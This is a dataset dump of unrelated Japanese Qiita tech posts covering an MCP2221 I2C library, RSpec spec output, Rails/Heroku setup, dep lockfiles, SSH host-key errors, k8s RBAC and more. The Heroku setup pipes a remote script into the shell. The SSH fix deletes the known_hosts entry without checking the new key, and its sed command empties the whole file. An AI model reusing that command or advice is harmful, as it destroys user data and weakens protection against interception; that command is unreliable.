OmniAICreator/Qiita-1.07M huggingface dataset:
libmcp2221を使ってみた

秋月電子で入手できる[MCP2221A](http://akizukidenshi.com/catalog/g/gI-13069/)のライブラリがgithubにあったのでMac OS X El Capitanで試してみた。

https://github.com/zkemble/libmcp2221

このライブラリをMac OS Xで使うには以下のHIDライブラリが必要です。

https://github.com/signal11/hidapi

とりあえずmac/hid.cとhidapi/hidapi.hがあれば良いようです。

libmcp2221ディレクトリにファイルをコピーしてコンパイルしたところ問題なくコンパイル通りました。

以前作った[I2C赤外線リモコン](https://qiita.com/yamori813/items/74c060bdc84950bccfc8)を制御してみます。examples/i2c/main.cをちょっと修正しただけです。

```c:main.c
/*
 * Project: MCP2221 HID Library
 * Author: Zak Kemble, contact@zakkemble.co.uk
 * Copyright: (C) 2015 by Zak Kemble
 * License: GNU GPL v3 (see License.txt)
 * Web: http://blog.zakkemble.co.uk/mcp2221-hid-library/
 */

#ifndef _WIN32
	#define _BSD_SOURCE
	#include <unistd.h>
	#define Sleep(ms) usleep(ms * 1000)
#endif

#include <stdio.h>
#include "../libmcp2221/win/win.h"
#include "../libmcp2221/libmcp2221.h"
#include "../libmcp2221/hidapi.h"

int main(void)
{
	puts("Starting!");

	mcp2221_init();
	
	// Get list of MCP2221s
	printf("Looking for devices... ");
	int count = mcp2221_find(MCP2221_DEFAULT_VID, MCP2221_DEFAULT_PID, NULL, NULL, NULL);
	printf("found %d devices\n", count);

	// Open whatever device was found first
	printf("Opening device... ");
	mcp2221_t* myDev = mcp2221_open();

	if(!myDev)
	{
		mcp2221_exit();
		puts("No MCP2221s found");
		getchar();
		return 0;
	}
	puts("done");

	mcp2221_error res;
	
	while(1)
	{
		Sleep(500);

		uint8_t buff[2];
		mcp2221_i2c_state_t state = MCP2221_I2C_IDLE;
		
		// Stop any transfers
		mcp2221_i2cState(myDev, &state);
		if(state != MCP2221_I2C_IDLE)
			mcp2221_i2cCancel(myDev);

		// Set divider from 12MHz
		mcp2221_i2cDivider(myDev, 26);

		// Write IR Pattern
		puts("Writing...");
		uint8_t tmp[3];
		// Sony CD Play
		tmp[0] = 0x33;
		tmp[1] = 0x4d;
		tmp[2] = 0x10;
		mcp2221_i2cWrite(myDev, 4, &tmp, 3, MCP2221_I2CRW_NORMAL);
		puts("Write complete");

		// Wait for completion
		while(1)
		{
			if(mcp2221_i2cState(myDev, &state) != MCP2221_SUCCESS)
				puts("ERROR");
			printf("State: %hhu\n", state);
			if(state == MCP2221_I2C_IDLE)
				break;
		}

		break;
	}

	switch(res)
	{
		case MCP2221_SUCCESS:
			puts("No error");
			break;
		case MCP2221_ERROR:
			puts("General error");
			break;
		case MCP2221_INVALID_ARG:
			puts("Invalid argument, probably null pointer");
			break;
		case MCP2221_ERROR_HID:
			printf("USB HID Error: %ls\n", hid_error(myDev->handle));
			break;
		default:
			printf("Unknown error %d\n", res);
			break;
	}
	
	mcp2221_exit();
	
	return 0;
}
```

以下でビルドします。

```
cc -o main hid.c libmcp2221.c main.c -framework IOKit -framework CoreFoundation
```

![写真（2018-07-12 19.29）.jpg](https://qiita-image-store.s3.amazonaws.com/0/104066/28fdcca9-eb6e-e5b2-1a87-23ddb3d241d9.jpeg)


信号でました。

MCP2221はシリアルでも使えるしI2Cでも使えて一粒で二度美味しいです。

以前はこういう類は、FTDIのチップが便利だったのだが、AppleがFTDI用の勝手kextを入れちゃって、そのままではBitBangが使えないので、こっちの方がいいかもしれない。これってAppleのFTDIへの嫌がらせなのでは。
RSpecからMarkDown形式でテスト仕様書っぽいものを出力する

# はじめに

自動テストを書いていると、

- 仕様変更があった場合に変更しないといけない箇所が増える
- 一部だけ変更がされていて、どっちが正しいのかわからない

という悩みが付いて回ってくるのではないかと思います。

今回は、上記の問題を解決するために、

「RSpecから仕様書の雛形をつくる」

という方法について記載します。

# 事前準備

1. RSpecを書きます

事前準備はこれだけです。
では、実際にRSpecから仕様書の出力をしていきましょう。

# 前提知識

今回は、RSpecの`--dry-run`オプションと`--format`オプションを利用します。

- `--dry-run`
    - テストを実行せず出力だけ得る
- `--format`
    - 出力する際のフォーマッターを指定する
    - 標準で用意されているフォーマッターでは、少し物足りないので、今回はカスタムフォーマッターを作成して利用します。

# カスタムフォーマッターの作成

出力したい内容にあうように、カスタムフォーマッターを利用します。
documentation_formatterが一番近かったので、今回はこちらを継承しました。

下記を、適当なところに置きます。
（今回は、`spec/support/custom_formatter.rb`として保存）

```ruby
require 'rspec/core/formatters/documentation_formatter'

class CustomFormatter  < RSpec::Core::Formatters::DocumentationFormatter
  RSpec::Core::Formatters.register self, :example_group_started

  def initialize(output)
    super
  end

  # 今回はインデント部分のみを調整した
  def current_indentation
    if @group_level == 0
      '## '
    else
      ' ' * ( @group_level - 1 ) * 4 + '- '
    end
  end
end
```

# テストケースを出力する

## 全てのテストケースを出力したい場合

```ruby
bundle exec rspec --dry-run --require spec/support/custom_formatter.rb --format CustomFormatter
```

## 特定のファイルのテストケースのみを出力したい場合

```ruby
bundle exec rspec --dry-run --require spec/support/custom_formatter.rb --format CustomFormatter spec/models/hoge_spec.rb
```

# 実際に出力した結果

## specファイル
spec/models/hoge_spec.rb

```ruby
RSpec.describe Hoge do
  describe "testの検査" do
    it "testが成功するべき" do
     :
    end
  end 
end
```

## 実行コマンド

```ruby
bundle exec rspec --dry-run --require spec/support/custom_formatter.rb --format CustomFormatter spec/models/hoge_spec.rb
```

## 実行結果

```ruby
## Hoge
- testの検査
    - testが成功するべき
```

# おわりに

RSpecはテスト仕様書として非常に有用な資産になると思っています。
今回は、その資産を他の部分でも有効活用できればと、仕様書として利用する方法を考えてみました。

- 品質を保つ
- リファクタリングをしやすくする

という部分以外で、誰もが面倒だと思っている

- 仕様書を書く

という部分にたいしても有効である状況を作れれば、プロジェクトとしてより積極的にRSpecの導入が進んでいくのではないかと考えてます。

カスタムフォーマッターの書き方次第で、いろんなドキュメントの形式にあわせることができると思うので、一度お試しください。
AWS Lambda利用を前提にフレームワークを選ぶときに僕がかんがえたこと

この記事は投稿日付とカレンダーの日付があわないことで知られる[あら便利カレンダー](https://benri2018.rnd.cloudpack.jp/)の ${n} 日目の記事です。

## 挨拶

AWS Lambda + API Gatewayを使ってサーバーレスなREST APIを作成したいことってよくありますよね。
みなさんどうしてますか？

ぼくは度々考えないといけないなあって場面に直面しつつもなんだかんだ逃げてきたんですが、
いよいよ本格的に考えないといけない事態に陥って、
現時点で「これだ！」っていうパターンにたどりついたので記事にしました。

*ぶっちゃけかなり正直ベースで書きます*


## tl;dr

* aws-serverless-express
* serverless framework
* tsorm

を使って開発することに決めたよ。


## 前提

* REST APIが作りたい
* AWS Lambda + API Gatewayで動作すること
* TypeScript
    * 生なJavaScriptはいい加減つらい
* serverless frameworkを利用すること
    * deployや管理が楽
    * 慣れている
* Migrationがあるとベター


## ある程度まで絞る編

まずはお馴染みの[Node Frameworks](http://nodeframework.com/)を拝見。
以下から選べとあったので、ちょろっと解説つけて挙げる。

* MVC
    * シナトラ風
        * ルーティング周りやリクエスト・レスポンス周りの面倒を見てくれるのみの軽量なもの
    * Rails風
        * PHPやRubyのフレームワークで実現されている範囲に関心のあるもの
* Full-stack
    * websocketやテンプレートエンジンをサポートしたNode.jsならではのものも積んだ全部入り
* REST API
    * SPAを構築する用にある程度軽量なRESTを実装できるような思想をもったもの
* Others
    * ミドルウェアやライブラリ・静的サイトジェネレータみたいなもの

とりあえずOthersは除外。そうじゃない。
REST故にViewが不要なので、MVC.Rails風も除外。
Lambdaでやりたいが故に、websocketなどは使わないので上記の意味でのFull-stackな必要がないため、Full-stackも除外。
残ったMVC.シナトラ風とREST APIから検討していくことにする。

ある程度信用できるアプリケーションであって欲しいので、GitHubのStarの数を指標とする。
そうすると、ダントツなものが１つずつ出てくるのでそれに絞って調査していくって気持ちになった。
（３，４位くらいだと4,000くらいのスター数で対抗馬がいくつもあって選ぶ気にならない）
_カッコ内は記事執筆時点でのスター数_

* MVC.Rails風
    * Sails.js（19,285)
        * 名前の通りかなりRailsっぽい感じ
* REST API
    * LoopBack(11,324)
        * IBM bluemixで採用されている？フレームワークっぽい


## 踏み込んで見る編

さて、２つまで絞れたので、ある程度覚悟していたLambdaAdapterみたいなのを書いて動くか検証する必要がでてきた。
私はとんでもなく突飛な行動に出る癖があるので、
`node meteor aws lambda`
で検索していた。
本音を言うと、名のしれたフレームワークならなんかしら挑戦してるやつが全世界に何人かいるだろうって期待があって調べてみた次第である。

一番上に表示された記事は[meteor-lambdify](https://github.com/DispatchMe/meteor-lambdify)というGitHubのリポジトリのページだった。
以下翻訳して抜粋

```
更新：
これを本番環境で使用しようとしましたが、実際には機能しません。
問題は、Lambdaがノードプロセスを実行し続けることであり、これは毎回同じように動作するブートプロセスに依存しています。
しかし、ノードプロセスがまだ実行されてrequireいる場合は、ロードされたファイルがキャッシュされるため、プロセスは毎回同じ方法で起動しません。
AWS Elastic Beanstalkの作業層でMeteorワーカーを実行するようになりました。
```

> 実際には機能しません。

*実際には機能しません。*

**実際には機能しません。**

もうフレームワーク使うのやめよう...って決意しました。
申し訳ないんですが、残り２つもさらーっと調べたところ有用な記事もなく、
Lambdaの癖的な部分に苦しめられそうで考えるのをやめました。


## 諦めきれない編

でもスクラッチでやるのは絶対にいやだ。
メンテコストが高すぎるし、影響範囲を完全に把握できてしまうせいで、
修正が発生した場合の

1. 「あっやばい、あそこにも影響あるな」
2. 範囲広いのはコードを書いた自分が一番わかってる
3. コストが高いのが明確にわかってやる気なくなる

みたいな黄金パティーンはもういやだ。
前のプロジェクトでやったから本当にもういやだ。

もうちょっと、もうちょっとだけ頑張ってみるから...


## 見直してみる編

思い直してみると（ === 後出しジャンケンすると）[aws-serverless-express](https://github.com/awslabs/aws-serverless-express)は触ったことがある。
ぼくらが本当にやりたいことは

1. Routerがほしい
2. Requestをいい感じにラップしてほしい
3. Responseをいい感じにラップされたものベースで返したい
4. データ永続化に関してクエリ書きたくない
5. Migrationほしい（クエリ書きたくないし、管理したい）
6. DDDっぽく使いたい

あたりで、「ビジネスロジックに集中できればいいや」が本質なはず。
Expressを使う前提だと、1-3はクリアできる。
では、4-6を満たしてくれるORMっぽいなんかがあればそれ組み合わせればいけるんじゃね！？


## あった編
ありましたあ
https://github.com/typeorm/typeorm


## まとめ
`あった編` はまじで 

* `typescript orm` で探したら一番上だった
* Migrationあった
* Model層あった
    * ActiveRecordパターンぽいけどまあよし！

ってことで導入を決めました。

実際にこれを使って開発をすすめるのはこれからになるので、
感想はまた数ヶ月後にご期待ください！

思考回路がこうなってるよって参考となれば幸いです。
Railsチュートリアルに沿った開発環境構築の方法(Cloud9)

Railsチュートリアルの開発環境構築部分だけをまとめました。
バージョンなどは2018/7/12時点の情報です。

#環境構築する項目
* cloud9環境
* rails環境
* git環境(BitBucket)
* 本番用サーバ環境(heroku)

#cloud9環境
ここは割愛
AWSに登録してcloud9環境を一つ作ってください。
一番安いプランでい胃と思います。

#rails環境構築
```sh

$ gem install rails -v 5.1.4 #rails環境のインストール
$ rails _5.1.4_ new ***_app #アプリファイルの作成　***は作りたいアプリ名

```
/***_app/Gemfile　を以下に差し替え

```ruby

source 'https://rubygems.org'

gem 'rails',        '5.1.4'
gem 'puma',         '3.9.1'
gem 'sass-rails',   '5.0.6'
gem 'uglifier',     '3.2.0'
gem 'coffee-rails', '4.2.2'
gem 'jquery-rails', '4.3.1'
gem 'turbolinks',   '5.0.1'
gem 'jbuilder',     '2.7.0'

group :development, :test do
  gem 'sqlite3', '1.3.13'
  gem 'byebug',  '9.0.6', platform: :mri
end

group :development do
  gem 'web-console',           '3.5.1'
  gem 'listen',                '3.1.5'
  gem 'spring',                '2.0.2'
  gem 'spring-watcher-listen', '2.0.1'
end

group :production do
  gem 'pg', '0.20.0'
end

# Windows環境ではtzinfo-dataというgemを含める必要があります
gem 'tzinfo-data', platforms: [:mingw, :mswin, :x64_mingw, :jruby]

```

```sh
$ cd ***_app/ #アプリファイルに移動
$ bundle install --without production

#↓budle updateしろ！とエラーが出たら以下も実行
$ bundle update
```


#git環境
まずGitHub or BitBucketにアカウント登録

##秘密鍵の作成

```sh
$ cd ~/.ssh
$ ls #~/.ssh にid_rsa,id_rsa.pubがないことを確認
$ ssh-keygen #id_rsa,id_rsa.pubを作成
  #鍵作成パス,パスワード,パスワード確認の順で入力を求められる
  #鍵作成パスは空白(~/.sshに作られる)　パスワードは任意の値を入力
$ ls #id_rsa,id_rsa.pubが存在している
$ cat ~/.ssh/id_rsa.pub #上記をコピーしてbitbucket,githubに登録
```

##git設定


```sh
$ cd /***_app
$ git init
$ git config --global user.name "Your Name"
$ git config --global user.email you@example.com
$ git add -A
$ git commit -m "first commit"

#githubでリポジトリ作成

$ cd ~/environment/***_app/
$ git remote add origin git@bitbucket.org:<ユーザ名>/<リポジトリ名>.git
$ git push -u origin --all
```

#本番サーバ環境(heroku)

```sh
#herokuアカウント作成
$ heroku --version #インストールされていないことの確認
$ source <(curl -sL https://cdn.learnenough.com/heroku_install) #herokuインストール
$ heroku --version #インストールされている
$ heroku login #herokuの登録e-mail、パスワードを求められるので入力
$ heroku keys:add #sshkeyの登録　Yを入力
$ heroku create #herokuサーバ作成
$ git push heroku master　#herokuサーバにpush
```

#完了
以上で環境構築は終了
テスト,BootStrapの設定等はお好みで
ほぼマークダウンのみでそこそこいい感じの Web ページを GitHub で公開する


[GitHub Pages](https://pages.github.com) で静的サイトを公開する際、わざわざ html とかを書かずにマークダウンのみでイケるということを最近知りました。  

Guthub Pages では [Jekyll](https://jekyllrb.com) という静的サイトジェネレータをサポートしていますが、これ用の設定を少し書くだけでそこそこいい感じの Web ページとして公開できます。  

## やりかた

### 用意するもの

- GitHub のレポジトリ
- `_config.yml`: 使いたい Jekyll テーマを書いておく。
- `index.md`: 公開するページのトップに表示するページ。

最低限これで大丈夫です。

_config.yml の中身は

```yml
theme: <テーマ名>
title: [<ページタイトル>]
description: [<ページ概要>]
```

こんな感じです。サポートされているテーマは [ここ](https://pages.github.com/themes/) に載っているもののみで、[このへん](http://jekyllthemes.org) にのってるテーマや自作テーマは使えないようです。

### レポジトリの更新

準備したレポジトリに、作成した _config.yml と index.md を push します。  

例として


    theme: jekyll-theme-hacker
    title: [テストページ]
    description: [サンプル]


↑こんな感じの `_config.yml` と

    # サンプル

    markdown でつくるページ

    ## 見出し

    - 箇条書き1
    - 箇条書き2
    - 箇条書き3

    > 引用

    ```
    const hello = () => {
      return "Hello World!"
    }
    ```

↑こんな感じの index.md を master ブランチの /docs 以下に置いておきます。

ページの公開せていですが、GitHub Pages では以下から公開設定を選べます。  

- master ブランチ
- master ブランチの /docs ディレクトリ以下

マークダウンのみで公開したかった理由がコードに対するドキュメントを普段使うマークダウンのみでいい感じで表示できれば嬉しいためだったので、master ブランチの /docs ディレクトリ以下を設定します。
（ちなみに master ブランチに /docs ディレクトリがない場合、このオプションは選べないみたいです。）

見た目は

<img width="1234" alt="20180712-125309.png" src="https://qiita-image-store.s3.amazonaws.com/0/133201/d87d664d-3403-a09c-faf8-b8babbdc1ec8.png">


といった感じで、ほぼマークダウンだけで [Hacker theme](https://pages-themes.github.io/hacker/) みたいないい感じのページを公開できました。

別のファイルを作って index.md からリンクを貼るやり方も通常のマークダウンと同じなので、マークダウンを使っている人なら特に困ることもなくいい感じの web page を公開することができると思います。
Gopkg.lockのフォーマットが変わってた

# 何の話？

Golangのパッケージ管理ツールの`dep`が生成するlockファイルの中身が変わってて戸惑った話

# 何に困ったのか

CircleCIを使って、Google AppEngine Standard Environment へのGolangアプリケーションのデプロイを行なっていた。
CircleCIの2.0にはキャッシュ機構があり、依存パッケージのインストール結果をキャッシュしておいてビルド時間を短縮することができる。
その機能を利用する際にGopkg.lockからchecksumを行なってハッシュ値を生成し、キャッシュのキーとすることで、Gopkg.lockに変更があったかどうかを確認して、変更がなければキャッシュを用いる仕組みにしている(公式推奨)。
しかし、ローカルのMacOS上で`dep ensure`してできたGopkg.lockをCircleCI上で`dep ensure`するとフォーマットが変わってしまい、checksumが常にずれてしまう状態になっていた。

# どうしたのか

ローカルのdep

インストールはHomebrew利用

```shell
$ dep version
dep:
 version     : v0.4.1
 build date  : 2018-01-27
 git hash    : 37d9ea0
 go version  : go1.9.3
 go compiler : gc
 platform    : darwin/amd64
```

CircleCIにインストールしたdep

インストール処理

```shell
go get -u github.com/golang/dep/cmd/dep
```

```shell
#!/bin/bash -eo pipefail
dep version
dep:
 version     : devel
 build date  : 
 git hash    : 
 go version  : go1.9.2
 go compiler : gc
 platform    : linux/amd64
 features    : ImportDuringSolve=false
```

こういう状態になっていた。

`dep ensure` した結果の差異は以下のような形。

```:ローカルのGopkg.lockの抜粋
[[projects]]
  branch = "master"
  name = "github.com/mjibson/goon"
  packages = ["."]
  revision = "0c01b4bc4f4970fa6f91409bf7f134a10809219c"
```

```:CircleCIのGopkg.lockの抜粋
[[projects]]
  branch = "master"
  digest = "1:51cf0d7dfb0def086ee1d36d3bc3ee5cad0a4130be9c144d85f7d1cfd7340ec3"
  name = "github.com/mjibson/goon"
  packages = ["."]
  pruneopts = ""
  revision = "0c01b4bc4f4970fa6f91409bf7f134a10809219c"
```

どうやら[このプルリク](https://github.com/golang/dep/pull/1912)で変更されたみたい。
Homebrew経由でupgradeしても寄らなかったので、CircleCI側のインストール方法を変えて対応した。

```shell
mkdir /go/bin
curl -L -s https://github.com/golang/dep/releases/download/v${DEP_VERSION}/dep-linux-amd64 -o /go/bin/dep
chmod +x /go/bin/dep
/go/bin/dep ensure -v
```

`DEP_VERSION`は環境変数でバージョンを指定できるようにしている。
これでHomebrewで入っているのと同じv0.4.1を入れて、checksumが合うようになった。
sshで接続を試みて、WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!の警告が出て接続できないときの対処法

## 概要

sshで接続を試みて、WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!の警告が出て接続できないときの対処法

## 事象

```
$ ssh -i ~/.ssh/id_rsa  user@example.com
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@    WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!     @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (man-in-the-middle attack)!
It is also possible that a host key has just been changed.
The fingerprint for the ECDSA key sent by the remote host is
SHA256:ThYwRCvgjDgQbLnt9dIYqv3KcjLQH95KA9zTnYj9ONU.
Please contact your system administrator.
Add correct host key in /Users/user/.ssh/known_hosts to get rid of this message.
Offending ECDSA key in /Users/user/.ssh/known_hosts:55
ECDSA host key for example.com has changed and you have requested strict checking.
Host key verification failed.
```

## 対処法

`~/.ssh/known_hosts` の該当ホスト※の行を削除する。
※上の例だと、example.com

```
$ sed '/example.com/d'  /Users/user/.ssh/known_hosts > /Users/user/.ssh/known_hosts
```

以上で完了。

# 検証環境

- MacOS Sierra バージョン 10.12.6
- bash
- iTerm
[k8s] kube-ingress-aws-controller + skipperを構築したときに pods/skipperで403と404が出る


[Creating ingress with kube-ingress-aws-controller and skipper](https://github.com/kubernetes/kops/tree/master/addons/kube-ingress-aws-controller)

kopsでAWSにk8sクラスタを構築したあとに上記を参考にして、Ingressを構築しているときに
Skipperの構築でハマったのでメモ



```sh
$ kubectl logs skipper-ingress-9hpr7 -n kube-system -f
10.0.0.30 - - [12/Jul/2018:09:36:07 +0000] "GET /kube-system/healthz HTTP/1.1" 404 10 "-" "kube-probe/1.9" 0 10.0.0.30:9999 - -
[APP]time="2018-07-12T09:36:10Z" level=error msg="failed to load all: request failed, status: 403, 403 Forbidden"
[APP]time="2018-07-12T09:36:10Z" level=error msg="error while receiveing initial data;request failed, status: 403, 403 Forbidden"
[APP]time="2018-07-12T09:36:13Z" level=error msg="failed to load all: request failed, status: 403, 403 Forbidden"
[APP]time="2018-07-12T09:36:13Z" level=error msg="error while receiveing initial data;request failed, status: 403, 403 Forbidden"
```

上記のように 403 と 404 でpods/skipperが立ち上がらず2日ほどはまった。

どうやら RBAC 絡みで設定が足りなかった??

https://github.com/zalando-incubator/kube-ingress-aws-controller/issues/153

を参考にRoleの設定をしたらなんとか動いた

```yaml:kube-rbac.yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: ingress
rules:
- apiGroups:
  - extensions
  resources:
  - ingresses
  - ingresses/status
  verbs:
  - get
  - list
  - patch

---

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: skipper
rules:
- apiGroups:
  - ""
  resources:
  - services
  verbs:
  - get
  - list

---

apiVersion: rbac.authorization.k8s.io/v1beta1
kind: ClusterRoleBinding
metadata:
  name: kube-system-default-user-role-binding-ingress
  namespace: kube-system
subjects:
  - kind: ServiceAccount
    name: default
    namespace: kube-system
roleRef:
  kind: ClusterRole
  name: ingress
  apiGroup: rbac.authorization.k8s.io

---

apiVersion: rbac.authorization.k8s.io/v1beta1
kind: ClusterRoleBinding
metadata:
  name: kube-system-default-user-role-binding-skipper
  namespace: kube-system
subjects:
  - kind: ServiceAccount
    name: default
    namespace: kube-system
roleRef:
  kind: ClusterRole
  name: skipper
  apiGroup: rbac.authorization.k8s.io
```

```
$ kubectl create -f kube-rbac.yaml
```


k8s難しいなぁ :joy:
Docker Toolbox on Windows を Proxy 環境下で使用する

## **環境変数 HTTP_PROXY, HTTPS_PROXY を追加**

`C:\Program Files\Docker Toolbox\start.sh ` にプロキシ設定を追加する。

```
export HTTP_PROXY=http://localhost:18080
export HTTPS_PROXY=${HTTP_PROXY}
```

![2018-07-12_18h30_25.png](https://qiita-image-store.s3.amazonaws.com/0/95032/43e636d5-2765-7aec-3ac5-a67c3e802f5b.png)

## **Troubleshooting**
https://docs.docker.com/toolbox/faqs/troubleshoot/
pythonでデータの中身を意識しないということ

#Abstract
Python、C、C++で中身を意識しないということについて私なりに感じたことを書きます。

#型を意識しないとは
C、C++なら
```int a=8;```
なんて変数を宣言することが多いんじゃないでしょうか。
この場合には整数型ですので、「数字が入る」ということを考えながら書くと思います。
一方、Pythonなら
```a=8```
でokなわけです。
「とりあえず、数字を入れる変数作っとこー」
ぐらいならとても楽なわけですね。

##メリット
簡単な例で、値を表示するということを考えてみましょう。
Cなら
```printf("%d",a);```

-出力-
```8```
とでてきてくれるわけです。
「なんか数字がでてくるとか意識しないといけないな…」

そんなあなたに！

朗報です！

Pythonなら
```print(a)```
-出力-
```8```
が出るんです。
とりあえずのデバッグには便利ですね。

C++では
```std::cout<<a;```
-出力-
```8```
です。
型を意識しなくていいのは時代の流れなのかもしれませんね。

##デメリット
なんとなくなときはいいんですが、8進数で表示するとき（そんな場面ある？って話ですけどね）
pythonでは
~~a=0o8~~
-追記部分-
失礼しました。8進数なので10ですね。
@shiracamus さんご指摘ありがとうございます。
-ここまで-

```py
a = 0o10
print('%o' % a)
```
と書く必要があります。

Cでは
~~printf("%x",a);~~
-追記部分-
失礼しました。16進数になっていましたね。
@shiracamus さんご指摘ありがとうございます。
-ここまで-

```c
int a = 010;
printf("%o", a);
```

C++では

```cpp
int a = 010;
std::cout << std::oct <<  a;
```
と書けばokです。

~~このように~~
-追記部分-
例が良くなかったので打ち消します。
-ここまで-
pythonでは予めどんなプログラムを書くのか方針がきっちり決まってないと
書き直すのが結構大変な印象を受けました。
一方で、方針が決まっていてともかく書くというときには楽かなーと思います。

#結論
データの中身を意識しないことにはメリットとデメリットがあります。
メリットは煩わしい数字の変換などを意識せずにシステムがやってくれること。
デメリットは意識しないゆえに中身の正体がわからなくなってしまうこと。
一長一短というとこかなと。

方針が決まっていればPythonは便利だが、仕様変更があると書きづらいかもしれないな、という感想です。

変数の命名でカバーするとわかりやすいかもしれません。


「こんな工夫すると変数名から中身がわかりやすいよー」とか
「書き方がそもそも悪いんじゃない？」とかありましたらコメントいただければと思います。
起動時に Swap サイズを動的に変更する

CentOS でしか試していないけど、RHEL でも使えると思う。
CentOS7 以降は、rc.local に実行権を付与しないと動かないので注意。

```bash:/etc/rc.d/rc.local
SWAPFILENAME=/swapfile
MEMSIZE=`cat /proc/meminfo | grep MemTotal | awk '{print $2}'`

if [ $MEMSIZE -lt 2097152 ]; then
  SIZE=$((MEMSIZE * 2))
elif [ $MEMSIZE -lt 8388608 ]; then
  SIZE=${MEMSIZE}
elif [ $MEMSIZE -lt 67108864 ]; then
  SIZE=$((MEMSIZE / 2))
else
  SIZE=4194304
fi

if [ `df -T |awk '/ext/' |wc -l` -gt 0 ]; then
  # RHEL(CentOS)7 より前はこちらで
  fallocate -l ${SIZE}KB $SWAPFILENAME && chmod 600 $SWAPFILENAME && mkswap $SWAPFILENAME && swapon $SWAPFILENAME
else
  # RHEL(CentOS)7 以降はこちらで
  dd if=/dev/zero of=$SWAPFILENAME count=$SIZE bs=1K && chmod 600 $SWAPFILENAME && mkswap -c $SWAPFILENAME && swapon $SWAPFILENAME
fi
```

## 仲間募集中
[弊社](https://www.nittsu-infosys.com/)ではエンジニアを募集中です。インフラからアプリ、ユーザサポートまで幅広く業務を行ってます。
https://www.nittsu-infosys.com/recruit/2019/index.html
Bitbucketでチームを作成し、メンバーを追加する。

チームを作成する機会があったため、初めての人向けに作成してみました。既出感がありますが、、、

## 事前準備
- 個人のBitbucketアカウントを作成しておく。
- チームに参加予定のメンバーがBitbucketアカウントを持っていない場合は、予め作成しておいてもらう。

## チームを作成
1.個人のアカウントでログインしたら、画面左の「＋(プラス)」をクリック。
<img width="1266" alt="pic1.png" src="https://qiita-image-store.s3.amazonaws.com/0/269537/3315bf41-a8eb-4684-9016-c80a91c86d22.png">

2.「Team」をクリック。
<img width="236" alt="pic2.png" src="https://qiita-image-store.s3.amazonaws.com/0/269537/66cd3cf8-667b-efc3-cc84-ce69122f71a9.png">

3.チーム名とチームIDを入力し「Done」をクリック。
<img width="404" alt="pic3.png" src="https://qiita-image-store.s3.amazonaws.com/0/269537/95723029-433a-e7d8-d94e-42c850049883.png">

4.チームができました。「設定」をクリック。
<img width="1141" alt="pic4.png" src="https://qiita-image-store.s3.amazonaws.com/0/269537/5815b5b6-f7a2-066c-2d24-c8ae22731992.png">

5.「Private profile」にチェックを付与し「更新」をクリック。
「リポジトリの非公開設定」と「チーム自体の非公開設定」は別もの。
設定を誤るとプロジェクトメンバー以外にプロジェクト情報を公開することになるため注意。
<img width="1276" alt="pic5.png" src="https://qiita-image-store.s3.amazonaws.com/0/269537/10dacf18-5316-edbe-5f74-06e7068dc8b2.png">

※「Private profile」チェック有り
プロジェクトメンバー以外にプロジェクト情報が見えなくなる。
<img width="1285" alt="pic6.png" src="https://qiita-image-store.s3.amazonaws.com/0/269537/ee0df8b2-1002-5ec9-ee30-971b3c60b437.png">

※「Private profile」チェック無し
プロジェクトメンバー以外にプロジェクト情報が見えてしまう。
<img width="1281" alt="pic7.png" src="https://qiita-image-store.s3.amazonaws.com/0/269537/c9f8c0d0-62fa-bd7c-22f9-eda32d6b31fe.png">

プロジェクトに参加しているメンバーの情報も見えてしまう。
<img width="594" alt="pic8.png" src="https://qiita-image-store.s3.amazonaws.com/0/269537/c5bc3a87-7782-6c56-1ce3-45ebcc30b2d0.png">

## メンバーを追加

1.「メンバーを追加」をクリック。
<img width="1274" alt="pic9.png" src="https://qiita-image-store.s3.amazonaws.com/0/269537/00fb6ab3-ef3e-a8b6-9810-3368cedd3293.png">

2.追加したいメンバーのユーザ名orメアドを入力し、権限を設定し「追加」をクリック。※Bitbucketアカウントを持っていない人には予め作成しておいてもらうこと。
<img width="601" alt="pic10.png" src="https://qiita-image-store.s3.amazonaws.com/0/269537/e8345e33-ed23-bd60-f31c-86db6b2c6546.png">

以上、ご参考になれば幸いです。
innerWidthとouterWidthのちがい

普通にheightで取得しているとよく指摘されるので、そろそろ覚えないと、、。
下記ページの説明画像を写しました。

## 参考ページ
https://www.buildinsider.net/web/jqueryref/009

![image.png](https://qiita-image-store.s3.amazonaws.com/0/170830/d73af105-57ca-5c66-a9ed-e72cf1dc3c1c.png)

エレメントの高さをとってきたりするとき、
outerHeightでとっておかないと、
パディングとかボーダーとかの分がとれてこないんですね。

ふむふむー。
PHPでseleniumのfacebook webdriverでテスト実行した時のエラー対処法

ブラウザテストをPHPとSeleniumでやりたくて、環境構築をしていたらfacebook webdriverでエラーが出たので、対処法を紹介します。

# エラー内容

```php
% php sample.php

Fatal error: Uncaught exception 'Facebook\WebDriver\Exception\UnknownServerException' with message 'disconnected: unable to connect to renderer
  (Session info: chrome=67.0.3396.99)
  (Driver info: chromedriver=2.30.477690 (c53f4ad87510ee97b5c3425a14c0e79780cdf262),platform=Mac OS X 10.12.6 x86_64) (WARNING: The server did not provide any stacktrace information)
```

```php
% php sample.php

Fatal error: Uncaught exception 'Facebook\WebDriver\Exception\UnknownServerException' with message 'unknown error: call function result missing 'value'
  (Session info: chrome=67.0.3396.99)
  (Driver info: chromedriver=2.30.477690 (c53f4ad87510ee97b5c3425a14c0e79780cdf262),platform=Mac OS X 10.12.6 x86_64) (WARNING: The server did not provide any stacktrace information)
```
このようにエラーが出ました。

# 対処法
この時、ChromeDriverを2.30で使っていたのですが、最新バージョンの`2.40`にしたら、無事テストが実行されました。
もし上記のようなエラーが出た場合は、ChromeDriverを最新にしてみてください。

最新のChromeDriverはこちら
https://sites.google.com/a/chromium.org/chromedriver/downloads

# 参考
https://github.com/SeleniumHQ/selenium/issues/4979
ズンドコキヨシ(逐次出力版)

##「ズンドコキヨシ」について

は以下のリンクを参照(手抜き)

